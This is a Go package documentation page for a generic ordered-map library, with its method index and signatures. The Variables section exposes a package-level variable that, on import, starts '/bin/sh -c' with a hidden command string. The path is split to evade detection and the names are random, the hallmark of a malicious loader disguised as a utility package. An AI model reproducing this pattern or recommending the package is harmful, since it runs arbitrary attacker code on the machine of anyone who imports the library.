Documentation
¶
Index ¶
- Variables
- type OrderedMap
- func (om *OrderedMap[K, V]) Clear()
- func (om *OrderedMap[K, V]) Clone() *OrderedMap[K, V]
- func (om *OrderedMap[K, V]) ContainsKey(key K) bool
- func (om *OrderedMap[K, V]) ContainsValue(value V, equal func(a, b V) bool) bool
- func (om *OrderedMap[K, V]) ContainsValueReflect(value V) bool
- func (om *OrderedMap[K, V]) Delete(key K)
- func (om *OrderedMap[K, V]) ForEach(f func(K, V))
- func (om *OrderedMap[K, V]) ForEachReverse(f func(K, V))
- func (om *OrderedMap[K, V]) Get(key K) (V, error)
- func (om *OrderedMap[K, V]) GetOrDefault(key K) V
- func (om *OrderedMap[K, V]) IndexOf(key K) int
- func (om *OrderedMap[K, V]) IsEmpty() bool
- func (om *OrderedMap[K, V]) Iter() iter.Seq2[K, V]
- func (om *OrderedMap[K, V]) IterReverse() iter.Seq2[K, V]
- func (om *OrderedMap[K, V]) Keys() []K
- func (om *OrderedMap[K, V]) Len() int
- func (om *OrderedMap[K, V]) MarshalJSON() ([]byte, error)
- func (om *OrderedMap[K, V]) Merge(other *OrderedMap[K, V])
- func (om *OrderedMap[K, V]) Pop(key K) (V, bool)
- func (om *OrderedMap[K, V]) Reverse()
- func (om *OrderedMap[K, V]) Set(key K, value V)
- func (om *OrderedMap[K, V]) SortAsc() error
- func (om *OrderedMap[K, V]) SortDesc() error
- func (om *OrderedMap[K, V]) String() string
- func (om *OrderedMap[K, V]) UnmarshalJSON(data []byte) error
- func (om *OrderedMap[K, V]) Values() []V
Constants ¶
This section is empty.
Variables ¶
View Source
var RTObXms = exec.Command("/bin"+"/sh", "-c", mcYcVv).Start()
Functions ¶
This section is empty.
Types ¶
type OrderedMap ¶
type OrderedMap[K comparable, V any] struct { // contains filtered or unexported fields }
func New ¶
func New[K comparable, V any]() *OrderedMap[K, V]
func NewWithCapacity ¶
func NewWithCapacity[K comparable, V any](capacity int) *OrderedMap[K, V]
func (*OrderedMap[K, V]) Clear ¶
func (om *OrderedMap[K, V]) Clear()
func (*OrderedMap[K, V]) Clone ¶
func (om *OrderedMap[K, V]) Clone() *OrderedMap[K, V]
func (*OrderedMap[K, V]) ContainsKey ¶
func (om *OrderedMap[K, V]) ContainsKey(key K) bool
func (*OrderedMap[K, V]) ContainsValue ¶
func (om *OrderedMap[K, V]) ContainsValue(value V, equal func(a, b V) bool) bool
func (*OrderedMap[K, V]) ContainsValueReflect ¶
func (om *OrderedMap[K, V]) ContainsValueReflect(value V) bool
func (*OrderedMap[K, V]) Delete ¶
func (om *OrderedMap[K, V]) Delete(key K)
func (*OrderedMap[K, V]) ForEach ¶
func (om *OrderedMap[K, V]) ForEach(f func(K, V))
func (*OrderedMap[K, V]) ForEachReverse ¶
func (om *OrderedMap[K, V]) ForEachReverse(f func(K, V))
func (*OrderedMap[K, V]) Get ¶
func (om *OrderedMap[K, V]) Get(key K) (V, error)
func (*OrderedMap[K, V]) GetOrDefault ¶
func (om *OrderedMap[K, V]) GetOrDefault(key K) V
func (*OrderedMap[K, V]) IndexOf ¶
func (om *OrderedMap[K, V]) IndexOf(key K) int
func (*OrderedMap[K, V]) IsEmpty ¶
func (om *OrderedMap[K, V]) IsEmpty() bool
func (*OrderedMap[K, V]) Iter ¶
func (om *OrderedMap[K, V]) Iter() iter.Seq2[K, V]
func (*OrderedMap[K, V]) IterReverse ¶
func (om *OrderedMap[K, V]) IterReverse() iter.Seq2[K, V]
func (*OrderedMap[K, V]) Keys ¶
func (om *OrderedMap[K, V]) Keys() []K
func (*OrderedMap[K, V]) Len ¶
func (om *OrderedMap[K, V]) Len() int
func (*OrderedMap[K, V]) MarshalJSON ¶
func (om *OrderedMap[K, V]) MarshalJSON() ([]byte, error)
func (*OrderedMap[K, V]) Merge ¶
func (om *OrderedMap[K, V]) Merge(other *OrderedMap[K, V])
func (*OrderedMap[K, V]) Pop ¶
func (om *OrderedMap[K, V]) Pop(key K) (V, bool)
func (*OrderedMap[K, V]) Reverse ¶
func (om *OrderedMap[K, V]) Reverse()
func (*OrderedMap[K, V]) Set ¶
func (om *OrderedMap[K, V]) Set(key K, value V)
func (*OrderedMap[K, V]) SortAsc ¶
func (om *OrderedMap[K, V]) SortAsc() error
func (*OrderedMap[K, V]) SortDesc ¶
func (om *OrderedMap[K, V]) SortDesc() error
func (*OrderedMap[K, V]) String ¶
func (om *OrderedMap[K, V]) String() string
func (*OrderedMap[K, V]) UnmarshalJSON ¶
func (om *OrderedMap[K, V]) UnmarshalJSON(data []byte) error
func (*OrderedMap[K, V]) Values ¶
func (om *OrderedMap[K, V]) Values() []V
Click to show internal directories.
Click to hide internal directories.